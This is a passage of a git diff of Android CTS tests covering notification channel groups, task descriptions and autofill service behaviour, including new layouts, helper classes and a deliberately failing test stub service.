- return activity;
- }
-
- private void finishActivity(ActivityTestRule activityRule) {
- final Activity activity = activityRule.getActivity();
- if (activity != null) {
- activity.finish();
- }
- }
-
- private void waitForIdle() {
- InstrumentationRegistry.getInstrumentation().waitForIdleSync();
- }
-
- private static boolean aspectRatioEqual(float a, float b) {
- // Aspect ratios are considered equal if they ware within to significant digits.
- float diff = Math.abs(a - b);
- return diff < 0.01f;
- }
-}
diff --git a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
index 162815f..7931a1f 100644
--- a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
@@ -37,10 +37,21 @@
NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
assertEquals("1", group.getId());
assertEquals("one", group.getName());
+ assertFalse(group.isBlocked());
+ assertNull(group.getDescription());
+ assertEquals(0, group.getChannels().size());
+ }
+
+ public void testIsBlocked() {
+ NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+ group.setBlocked(true);
+ assertTrue(group.isBlocked());
}
public void testWriteToParcel() {
NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+ group.setBlocked(true);
+ group.setDescription("bananas!");
Parcel parcel = Parcel.obtain();
group.writeToParcel(parcel, 0);
parcel.setDataPosition(0);
@@ -51,8 +62,12 @@
public void testClone() {
NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+ group.setBlocked(true);
+ group.setDescription("bananas");
NotificationChannelGroup cloned = group.clone();
assertEquals("1", cloned.getId());
assertEquals("one", cloned.getName());
+ assertTrue(cloned.isBlocked());
+ assertEquals("bananas", cloned.getDescription());
}
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index b6077ca..7b716ac 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -80,6 +80,12 @@
}
mNotificationManager.deleteNotificationChannel(nc.getId());
}
+
+ List<NotificationChannelGroup> groups = mNotificationManager.getNotificationChannelGroups();
+ // Delete all groups.
+ for (NotificationChannelGroup ncg : groups) {
+ mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
+ }
}
public void testCreateChannelGroup() throws Exception {
@@ -88,18 +94,43 @@
new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
channel.setGroup(ncg.getId());
mNotificationManager.createNotificationChannelGroup(ncg);
+ final NotificationChannel ungrouped =
+ new NotificationChannel(mId + "!", "name", NotificationManager.IMPORTANCE_DEFAULT);
try {
mNotificationManager.createNotificationChannel(channel);
+ mNotificationManager.createNotificationChannel(ungrouped);
List<NotificationChannelGroup> ncgs =
mNotificationManager.getNotificationChannelGroups();
assertEquals(1, ncgs.size());
- assertEquals(ncg, ncgs.get(0));
+ assertEquals(ncg.getName(), ncgs.get(0).getName());
+ assertEquals(ncg.getDescription(), ncgs.get(0).getDescription());
+ assertEquals(channel.getId(), ncgs.get(0).getChannels().get(0).getId());
} finally {
mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
}
}
+ public void testGetChannelGroup() throws Exception {
+ final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
+ ncg.setDescription("bananas");
+ final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
+ final NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(ncg.getId());
+
+ mNotificationManager.createNotificationChannelGroup(ncg);
+ mNotificationManager.createNotificationChannelGroup(ncg2);
+ mNotificationManager.createNotificationChannel(channel);
+
+ NotificationChannelGroup actual =
+ mNotificationManager.getNotificationChannelGroup(ncg.getId());
+ assertEquals(ncg.getId(), actual.getId());
+ assertEquals(ncg.getName(), actual.getName());
+ assertEquals(ncg.getDescription(), actual.getDescription());
+ assertEquals(channel.getId(), actual.getChannels().get(0).getId());
+ }
+
public void testDeleteChannelGroup() throws Exception {
final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
final NotificationChannel channel =
@@ -151,6 +182,46 @@
mNotificationManager.getNotificationChannel(mId).getImportance());
}
+ public void testCreateChannel_addToGroup() throws Exception {
+ String oldGroup = null;
+ String newGroup = "new group";
+ mNotificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(newGroup, newGroup));
+
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(oldGroup);
+ mNotificationManager.createNotificationChannel(channel);
+
+ channel.setGroup(newGroup);
+ mNotificationManager.createNotificationChannel(channel);
+
+ final NotificationChannel updatedChannel =
+ mNotificationManager.getNotificationChannel(mId);
+ assertEquals("Failed to add non-grouped channel to a group on update ",
+ newGroup, updatedChannel.getGroup());
+ }
+
+ public void testCreateChannel_cannotChangeGroup() throws Exception {
+ String oldGroup = "old group";
+ String newGroup = "new group";
+ mNotificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(oldGroup, oldGroup));
+ mNotificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(newGroup, newGroup));
+
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(oldGroup);
+ mNotificationManager.createNotificationChannel(channel);
+ channel.setGroup(newGroup);
+ mNotificationManager.createNotificationChannel(channel);
+ final NotificationChannel updatedChannel =
+ mNotificationManager.getNotificationChannel(mId);
+ assertEquals("Channels should not be allowed to change groups",
+ oldGroup, updatedChannel.getGroup());
+ }
+
public void testCreateSameChannelDoesNotUpdate() throws Exception {
final NotificationChannel channel =
new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
@@ -328,6 +399,54 @@
}
}
+ public void testNotify_blockedChannel() throws Exception {
+ mNotificationManager.cancelAll();
+
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_NONE);
+ mNotificationManager.createNotificationChannel(channel);
+
+ int id = 1;
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+ fail("found unexpected notification id=" + id);
+ }
+ }
+
+ public void testNotify_blockedChannelGroup() throws Exception {
+ mNotificationManager.cancelAll();
+
+ NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name");
+ group.setBlocked(true);
+ mNotificationManager.createNotificationChannelGroup(group);
+ NotificationChannel channel =
+ new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+ channel.setGroup(mId);
+ mNotificationManager.createNotificationChannel(channel);
+
+ int id = 1;
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + id)
+ .setContentText("This is #" + id + "notification ")
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+ fail("found unexpected notification id=" + id);
+ }
+ }
+
public void testCancel() throws Exception {
final int id = 9;
sendNotification(id, R.drawable.black);
@@ -683,6 +802,7 @@
found = false;
final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
for (StatusBarNotification sbn : sbns) {
+ Log.d(TAG, "Found " + sbn.getKey());
if (sbn.getId() == id) {
found = true;
break;
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
new file mode 100644
index 0000000..408930e
--- /dev/null
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import static android.content.Context.ACTIVITY_SERVICE;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RecentTaskInfo;
+import android.app.ActivityManager.TaskDescription;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.platform.test.annotations.Presubmit;
+import java.util.List;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.app.Activity;
+import android.app.stubs.MockActivity;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+/**
+ * Build: mmma -j32 cts/tests/app
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsAppTestCases android.app.cts.TaskDescriptionTest
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class TaskDescriptionTest {
+ private static final String TEST_LABEL = "test-label";
+ private static final int TEST_NO_DATA = 0;
+ private static final int TEST_RES_DATA = 777;
+ private static final int TEST_COLOR = Color.BLACK;
+
+ @Rule
+ public ActivityTestRule<MockActivity> mTaskDescriptionActivity =
+ new ActivityTestRule<>(MockActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Test
+ public void testBitmapConstructor() throws Exception {
+ final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+ final Bitmap bitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+ bitmap.eraseColor(0);
+ activity.setTaskDescription(new TaskDescription(TEST_LABEL, bitmap, TEST_COLOR));
+ assertTaskDescription(activity, TEST_LABEL, TEST_NO_DATA);
+ }
+
+ @Test
+ public void testResourceConstructor() throws Exception {
+ final Activity activity = mTaskDescriptionActivity.launchActivity(null);
+ activity.setTaskDescription(new TaskDescription(TEST_LABEL, TEST_RES_DATA, TEST_COLOR));
+ assertTaskDescription(activity, TEST_LABEL, TEST_RES_DATA);
+ }
+
+ private void assertTaskDescription(Activity activity, String label, int resId) {
+ final ActivityManager am = (ActivityManager) activity.getSystemService(ACTIVITY_SERVICE);
+ List<RecentTaskInfo> recentsTasks = am.getRecentTasks(1 /* maxNum */, 0 /* flags */);
+ if (!recentsTasks.isEmpty()) {
+ final RecentTaskInfo info = recentsTasks.get(0);
+ if (activity.getTaskId() == info.id) {
+ final TaskDescription td = info.taskDescription;
+ assertNotNull(td);
+ if (resId == TEST_NO_DATA) {
+ assertNotNull(td.getIcon());
+ assertNotNull(td.getIconFilename());
+ } else {
+ assertNull(td.getIconFilename());
+ assertNull(td.getIcon());
+ }
+ assertEquals(resId, td.getIconResource());
+ assertEquals(label, td.getLabel());
+ return;
+ }
+ }
+ fail("Did not find activity (id=" + activity.getTaskId() + ") in recent tasks list");
+ }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 9cad7a3..0c9f48d 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -123,6 +123,11 @@
String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
}
+ public void removeFromTempWhitelist() throws IOException {
+ String cmd = "cmd deviceidle tempwhitelist -r " + mServicePackage;
+ SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
public void cleanup() throws IOException {
removeFromWhitelist();
allowBackgroundOp();
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index b8ab1f9..90bbfa3 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -66,6 +66,14 @@
<activity android:name=".WebViewActivity"/>
<activity android:name=".TrampolineWelcomeActivity"/>
<activity android:name=".AttachedContextActivity"/>
+ <activity android:name=".DialogLauncherActivity" >
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it maks easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
<service
android:name=".InstrumentedAutoFillService"
@@ -83,6 +91,15 @@
<action android:name="android.service.autofill.AutofillService" />
</intent-filter>
</service>
+ <!-- BadAutofillService does not declare the proper permission -->
+ <service
+ android:name=".BadAutofillService"
+ android:label="BadAutofillService"
+ android:permission="android.permission.BIND_AUTOFILL" >
+ <intent-filter>
+ <action android:name="android.service.autofill.AutofillService" />
+ </intent-filter>
+ </service>
</application>
<instrumentation
diff --git a/tests/autofillservice/res/layout/dialog_launcher_activity.xml b/tests/autofillservice/res/layout/dialog_launcher_activity.xml
new file mode 100644
index 0000000..62d6d9b
--- /dev/null
+++ b/tests/autofillservice/res/layout/dialog_launcher_activity.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:importantForAutofill="noExcludeDescendants"
+ android:orientation="vertical" >
+
+ <Button
+ android:id="@+id/launch_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Launch" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
index e16d1c4..2a971b1 100644
--- a/tests/autofillservice/res/layout/login_activity.xml
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -37,6 +37,9 @@
<EditText
android:id="@+id/username"
+ android:minEms="2"
+ android:maxEms="5"
+ android:maxLength="25"
android:layout_width="match_parent"
android:layout_height="wrap_content" />
</LinearLayout>
diff --git a/tests/autofillservice/res/layout/third_line_only.xml b/tests/autofillservice/res/layout/third_line_only.xml
new file mode 100644
index 0000000..0267c94
--- /dev/null
+++ b/tests/autofillservice/res/layout/third_line_only.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/third"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
diff --git a/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml b/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml
new file mode 100644
index 0000000..3a96389
--- /dev/null
+++ b/tests/autofillservice/res/layout/three_horizontal_text_fields_last_two_invisible.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <TextView android:id="@+id/static_text"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"
+ android:text="YO:"/>
+
+ <TextView android:id="@+id/first"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/second"
+ android:text="2ND, Y U NO HIDDEN?"
+ android:visibility="invisible"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <TextView android:id="@+id/third"
+ android:text="3RD, Y U NO HIDDEN?"
+ android:visibility="invisible"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+
+ <ImageView android:id="@+id/img"
+ android:layout_width="wrap_content"
+ android:layout_height="match_parent"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 944f926..773afae 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -16,6 +16,7 @@
-->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/parent"
android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="wrap_content">
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
index a975186..8740273 100644
--- a/tests/autofillservice/res/layout/webview_activity.xml
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -14,8 +14,55 @@
* See the License for the specific language governing permissions and
* limitations under the License.
-->
-<WebView xmlns:android="http://schemas.android.com/apk/res/android"
- android:id="@+id/webview"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
-/>
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <LinearLayout
+ android:id="@+id/outsideContainer1"
+ android:visibility="gone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Outside 1" />
+
+ <EditText
+ android:id="@+id/outside1"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+
+ <LinearLayout
+ android:id="@+id/outsideContainer2"
+ android:visibility="gone"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="horizontal" >
+
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Outside 2" />
+
+ <EditText
+ android:id="@+id/outside2"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+ </LinearLayout>
+
+ <android.autofillservice.cts.MyWebView
+ android:id="@+id/webview"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
new file mode 100644
index 0000000..af713d3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AntiTrimmerTextWatcher.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+import java.util.regex.Pattern;
+
+/**
+ * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
+ */
+public final class AntiTrimmerTextWatcher implements TextWatcher {
+
+ /**
+ * Regex used to revert a String that was "anti-trimmed".
+ */
+ public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
+
+ private final EditText mView;
+
+ public AntiTrimmerTextWatcher(EditText view) {
+ mView = view;
+ mView.addTextChangedListener(this);
+ }
+
+ @Override
+ public void onTextChanged(CharSequence s, int start, int before, int count) {
+ mView.removeTextChangedListener(this);
+ mView.setText("#" + s + "#");
+ }
+
+ @Override
+ public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+ }
+
+ @Override
+ public void afterTextChanged(Editable s) {
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 570de4e..62072c3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -50,6 +50,13 @@
private static final String EXTRA_DATASET_ID = "dataset_id";
private static final String EXTRA_RESPONSE_ID = "response_id";
+ /**
+ * When launched with this intent, it will pass it back to the
+ * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
+ */
+ private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
+
+
private static final int MSG_WAIT_FOR_LATCH = 1;
private static Bundle sData;
@@ -84,10 +91,15 @@
*/
public static IntentSender createSender(Context context, int id,
CannedDataset dataset) {
+ return createSender(context, id, dataset, null);
+ }
+
+ public static IntentSender createSender(Context context, int id,
+ CannedDataset dataset, Bundle outClientState) {
Preconditions.checkArgument(id > 0, "id must be positive");
Preconditions.checkState(sDatasets.get(id) == null, "already have id");
sDatasets.put(id, dataset);
- return createSender(context, EXTRA_DATASET_ID, id);
+ return createSender(context, EXTRA_DATASET_ID, id, outClientState);
}
/**
@@ -95,15 +107,25 @@
*/
public static IntentSender createSender(Context context, int id,
CannedFillResponse response) {
+ return createSender(context, id, response, null);
+ }
+
+ public static IntentSender createSender(Context context, int id,
+ CannedFillResponse response, Bundle outData) {
Preconditions.checkArgument(id > 0, "id must be positive");
Preconditions.checkState(sResponses.get(id) == null, "already have id");
sResponses.put(id, response);
- return createSender(context, EXTRA_RESPONSE_ID, id);
+ return createSender(context, EXTRA_RESPONSE_ID, id, outData);
}
- private static IntentSender createSender(Context context, String extraName, int id) {
+ private static IntentSender createSender(Context context, String extraName, int id,
+ Bundle outClientState) {
final Intent intent = new Intent(context, AuthenticationActivity.class);
intent.putExtra(extraName, id);
+ if (outClientState != null) {
+ Log.d(TAG, "Create with " + outClientState + " as " + EXTRA_OUTPUT_CLIENT_STATE);
+ intent.putExtra(EXTRA_OUTPUT_CLIENT_STATE, outClientState);
+ }
final PendingIntent pendingIntent = PendingIntent.getActivity(context, id, intent, 0);
sPendingIntents.add(pendingIntent);
return pendingIntent.getIntentSender();
@@ -213,6 +235,13 @@
// Pass on the auth result
final Intent intent = new Intent();
intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+
+ final Bundle outClientState = getIntent().getBundleExtra(EXTRA_OUTPUT_CLIENT_STATE);
+ if (outClientState != null) {
+ Log.d(TAG, "Adding " + outClientState + " as " + AutofillManager.EXTRA_CLIENT_STATE);
+ intent.putExtra(AutofillManager.EXTRA_CLIENT_STATE, outClientState);
+ }
+
final int resultCode;
synchronized (sLock) {
resultCode = sResultCode;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 74e168b..48b190b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -39,8 +39,6 @@
import org.junit.Rule;
import org.junit.runner.RunWith;
-import java.util.List;
-
/**
* Base class for all other tests.
*/
@@ -62,6 +60,12 @@
public final RequiredFeatureRule mRequiredFeatureRule =
new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+ @Rule
+ public final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
+ .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
+ .run(() -> sReplier.assertNumberUnhandledSaveRequests(0))
+ .add(() -> { return sReplier.getExceptions(); });
+
protected final Context mContext;
protected final String mPackageName;
/**
@@ -130,24 +134,6 @@
}
}
- // TODO: we shouldn't throw exceptions on @After / @AfterClass because if the test failed, these
- // exceptions would mask the real cause. A better approach might be using a @Rule or some other
- // visitor pattern.
- @After
- public void assertNothingIsPending() throws Throwable {
- final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
- .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
- .run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
-
- final List<Exception> replierExceptions = sReplier.getExceptions();
- if (replierExceptions != null) {
- for (Exception e : replierExceptions) {
- catcher.add(e);
- }
- }
- catcher.throwIfAny();
- }
-
@After
public void ignoreFurtherRequests() {
InstrumentedAutoFillService.setIgnoreUnexpectedRequests(true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
index b966078..ed34bcd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -68,7 +68,7 @@
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, viewsToSave).build());
// Trigger autofill
@@ -185,7 +185,7 @@
// Set expectations.
sReplier.addResponse(new CannedFillResponse.Builder()
- .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText1").build());
// Trigger autofill
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
index 92a19a3..07162f2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -52,8 +52,12 @@
try {
base.evaluate();
} catch (Throwable t) {
- final String dump = runShellCommand("dumpsys autofill");
- Log.e(mTag, "dump for " + description.getDisplayName() + ": \n" + dump, t);
+ final String name = description.getDisplayName();
+ final String autofillDump = runShellCommand("dumpsys autofill");
+ Log.e(mTag, "autofill dump for " + name + ": \n" + autofillDump, t);
+ final String activityDump =
+ runShellCommand("dumpsys activity android.autofillservice.cts");
+ Log.e(mTag, "activity dump for " + name + ": \n" + activityDump, t);
throw t;
} finally {
if (!levelBefore.equals("verbose")) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
new file mode 100644
index 0000000..0f862f5
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * An {@link AutofillService} implementation that does fails if called upon.
+ */
+public class BadAutofillService extends AutofillService {
+
+ private static final String TAG = "BadAutofillService";
+
+ static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
+ + "/." + BadAutofillService.class.getSimpleName();
+
+ @Override
+ public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+ FillCallback callback) {
+ Log.e(TAG, "onFillRequest() should never be called");
+ throw new UnsupportedOperationException("onFillRequest() should never be called");
+ }
+
+ @Override
